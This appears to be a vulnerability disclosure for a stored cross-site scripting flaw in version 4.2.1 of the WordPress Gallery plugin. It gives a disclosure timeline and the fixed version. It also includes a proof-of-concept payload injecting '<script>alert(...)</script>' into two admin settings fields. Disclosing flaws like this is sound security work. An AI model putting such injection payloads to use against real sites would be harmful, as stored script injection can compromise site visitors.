WordPress Gallery 4.2.1 Cross Site Scripting

Plugin Name : Gallery
Effected Version : 4.2.1 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
The following fields put the payload as below
http://localhost/wp-admin/admin.php?page=gallery-plugin.php
gllr_return_link_text = ?><script>alert(1)</script>
gllr_read_more_link_text = ?><script>alert(2)</script>
Vulnerable Parameter : gllr_return_link_text, gllr_read_more_link_text
Type of XSS : Stored
Fixed in : 4.2.2
http://wordpress.org/plugins/gallery-plugin/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
This plugin makes it possible to implement as many galleries as you want into your website. You can add multiple pictures and description for each gallery, show them all at one page, view each one separately. Moreover, you can upload HQ images. Regular updates and simplicity of usage along with efficient functionality make it a perfect choice for your site to have an appealing look. There is also a premium version of the plugin with more useful features available.